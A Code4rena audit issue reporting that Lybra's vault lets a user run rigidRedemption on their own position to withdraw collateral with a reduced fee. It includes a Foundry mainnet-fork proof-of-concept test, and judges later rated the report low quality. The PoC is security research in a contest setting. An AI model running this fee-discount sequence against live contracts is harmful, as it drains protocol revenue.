code-423n4 / 2023-06-lybra-findings

8 stars 7 forks source link

Withdraw fee discounting using self `rigidRedemption` #973

Closed code423n4 closed 1 year ago

code423n4 commented 1 year ago

Lines of code

https://github.com/code-423n4/2023-06-lybra/blob/main/contracts/lybra/pools/base/LybraEUSDVaultBase.sol#L240

Vulnerability details

Description

There is no restriction for self rigidRedemption so that allows one to repay and withdraw instantly part of the collateral. https://github.com/code-423n4/2023-06-lybra/blob/main/contracts/lybra/pools/base/LybraEUSDVaultBase.sol#L238-L241 That allows us to instantly withdraw with less fee paid.

Impact

It may be used for malicious scenarios with flashloan for example.

Proof of Concept

// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.13;

import "forge-std/Test.sol";
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import {LybraProxy} from "@lybra/Proxy/LybraProxy.sol";
import {LybraProxyAdmin} from "@lybra/Proxy/LybraProxyAdmin.sol";
// import {AdminTimelock} from "@lybra/governance/AdminTimelock.sol";
import {GovernanceTimelock} from "@lybra/governance/GovernanceTimelock.sol";
// import {LybraWBETHVault} from "@lybra/pools/LybraWbETHVault.sol";
import {esLBR} from "@lybra/token/esLBR.sol";
import {LybraWstETHVault} from "@lybra/pools/LybraWstETHVault.sol";
// import {LybraRETHVault} from "@lybra/pools/LybraRETHVault.sol";
// import {PeUSD} from "@lybra/token/PeUSD.sol";
import {esLBRBoost} from "@lybra/miner/esLBRBoost.sol";
import {LBR} from "@lybra/token/LBR.sol";
import {LybraStETHDepositVault} from "@lybra/pools/LybraStETHVault.sol";
// import {StakingRewardsV2} from "@lybra/miner/stakerewardV2pool.sol";
// import {LybraGovernance} from "@lybra/governance/LybraGovernance.sol";
import {PeUSDMainnet} from "@lybra/token/PeUSDMainnetStableVision.sol";
import {ProtocolRewardsPool} from "@lybra/miner/ProtocolRewardsPool.sol";
// import {EUSD} from "@lybra/token/EUSD.sol";
import {Configurator} from "@lybra/configuration/LybraConfigurator.sol";
import {EUSDMiningIncentives} from "@lybra/miner/EUSDMiningIncentives.sol";
// import {LybraEUSDVaultBase} from "@lybra/pools/base/LybraEUSDVaultBase.sol";
// import {LybraPeUSDVaultBase} from "@lybra/pools/base/LybraPeUSDVaultBase.sol";
import {mockChainlink} from "@mocks/chainLinkMock.sol";
import {stETHMock} from "@mocks/stETHMock.sol";
import {EUSDMock} from "@mocks/mockEUSD.sol";
import {mockCurve} from "@mocks/mockCurve.sol";
import {mockUSDC} from "@mocks/mockUSDC.sol";
import {mockLBRPriceOracle} from "@mocks/mockLBRPriceOracle.sol";

/* remappings used
@lybra=contracts/lybra/
@mocks=contracts/mocks/
 */
contract LybraV2Test is Test {
    address goerliEndPoint = 0xbfD2135BFfbb0B5378b56643c2Df8a87552Bfa23;

    LybraProxy proxy;
    LybraProxyAdmin admin;
    // AdminTimelock timeLock;
    GovernanceTimelock govTimeLock;
    // LybraWbETHVault wbETHVault;
    // esLBR lbr;
    // LybraWstETHVault stETHVault;
    mockChainlink oracle;
    mockLBRPriceOracle lbrOracleMock;
    esLBRBoost eslbrBoost;
    mockUSDC usdc;
    mockCurve curve;
    Configurator configurator;
    LBR lbr;
    esLBR eslbr;
    EUSDMock usd;
    EUSDMiningIncentives eusdMiningIncentives;
    ProtocolRewardsPool rewardsPool;
    LybraStETHDepositVault stETHVault;
    PeUSDMainnet peUsdMainnet;
    address owner = address(7);
    // admins && executers of GovernanceTimelock
    address[] govTimelockArr;
    address stETHWhale = 0x1982b2F5814301d4e9a8b0201555376e62F82428;
    IERC20 stETH = IERC20(0xae7ab96520DE3A18E5e111B5EaAb095312D7fE84);
    address exploiter = address(0x1);

    function setUp() public {
        vm.startPrank(owner);
        oracle = new mockChainlink();
        lbrOracleMock = new mockLBRPriceOracle();
        govTimelockArr.push(owner);
        govTimeLock = new GovernanceTimelock(
            1,
            govTimelockArr,
            govTimelockArr,
            owner
        );
        eslbrBoost = new esLBRBoost();
        usdc = new mockUSDC();
        curve = new mockCurve();
        //  _dao , _curvePool
        configurator = new Configurator(address(govTimeLock), address(curve));
        // _config , _sharedDecimals , _lzEndpoint
        lbr = new LBR(address(configurator), 8, goerliEndPoint);
        // _config
        eslbr = new esLBR(address(configurator));
        // _config
        usd = new EUSDMock(address(configurator));

        configurator.initToken(address(usd), address(peUsdMainnet));
        // _config, _boost, _etherOracle, _lbrOracle
        eusdMiningIncentives = new EUSDMiningIncentives(
            address(configurator),
            address(eslbrBoost),
            address(oracle),
            address(lbrOracleMock)
        );
        // _config
        rewardsPool = new ProtocolRewardsPool(address(configurator));

        // _config, _stETH, _oracle
        stETHVault = new LybraStETHDepositVault(
            address(configurator),
            address(stETH),
            address(oracle)
        );
        // _config, _sharedDecimals, _lzEndpoint
        peUsdMainnet = new PeUSDMainnet(
            address(configurator),
            8,
            goerliEndPoint
        );

        curve.setToken(address(usd), address(usdc));
        configurator.setMintVault(address(stETHVault), true);
        configurator.setPremiumTradingEnabled(true);
        configurator.setMintVaultMaxSupply(
            address(stETHVault),
            10_000_000_000 ether
        );
        configurator.setBorrowApy(address(stETHVault), 200);
        configurator.setEUSDMiningIncentives(address(eusdMiningIncentives));
        eusdMiningIncentives.setToken(address(lbr), address(eslbr));
        rewardsPool.setTokenAddress(
            address(eslbr),
            address(lbr),
            address(eslbrBoost)
        );

        // Missing configurator.initEUSD(this.EUSDMock.address) as initEUSD in configurator does not exist.
        // And it's not same as initToken. 
        vm.stopPrank();

    }

    function testV2WithdrawFeeDiscount() public {
        vm.prank(stETHWhale); 
        stETH.transfer(exploiter, 100_000e18);

        console.log("balance before deposit/withdraw: ", stETH.balanceOf(exploiter));

        vm.startPrank(exploiter);
        stETH.approve(address(stETHVault), type(uint256).max);
        uint256 toBorrow = 100_000e18 * oracle.fetchPrice() * 100 / configurator.getSafeCollateralRatio(address(stETHVault));
        stETHVault.depositAssetToMint(100_000e18, toBorrow); // borrow maximum as we can

        configurator.becomeRedemptionProvider(true);
        stETHVault.rigidRedemption(exploiter, toBorrow);
        stETHVault.withdraw(exploiter, stETHVault.depositedAsset(exploiter)); // withdraw with fee discount

        console.log("balance after deposit/withdraw with discount: ", stETH.balanceOf(exploiter));
    }

    function testV2WithdrawNoFeeDiscount() public {
        vm.prank(stETHWhale); 
        stETH.transfer(exploiter, 100_000e18);

        console.log("balance before deposit/withdraw: ", stETH.balanceOf(exploiter));

        vm.startPrank(exploiter);
        stETH.approve(address(stETHVault), type(uint256).max);
        uint256 toBorrow = 100_000e18 * oracle.fetchPrice() * 100 / configurator.getSafeCollateralRatio(address(stETHVault));
        stETHVault.depositAssetToMint(100_000e18, toBorrow); // borrow maximum as we can

        stETHVault.burn(exploiter, toBorrow);
        stETHVault.withdraw(exploiter, stETHVault.depositedAsset(exploiter)); // withdraw with fee discount

        console.log("balance after deposit/withdraw without discount: ", stETH.balanceOf(exploiter));
    }
}

Tools Used

Foundry, mainnet forking

Recommended Mitigation Steps

Restrict self rigidRedemption

Assessed type

Other

JeffCX commented 1 year ago

It may be used for malicious scenarios with flashloan for example.

lack of clear explanation of the impact

c4-pre-sort commented 1 year ago

JeffCX marked the issue as low quality report

c4-judge commented 1 year ago

0xean marked the issue as unsatisfactory: Insufficient quality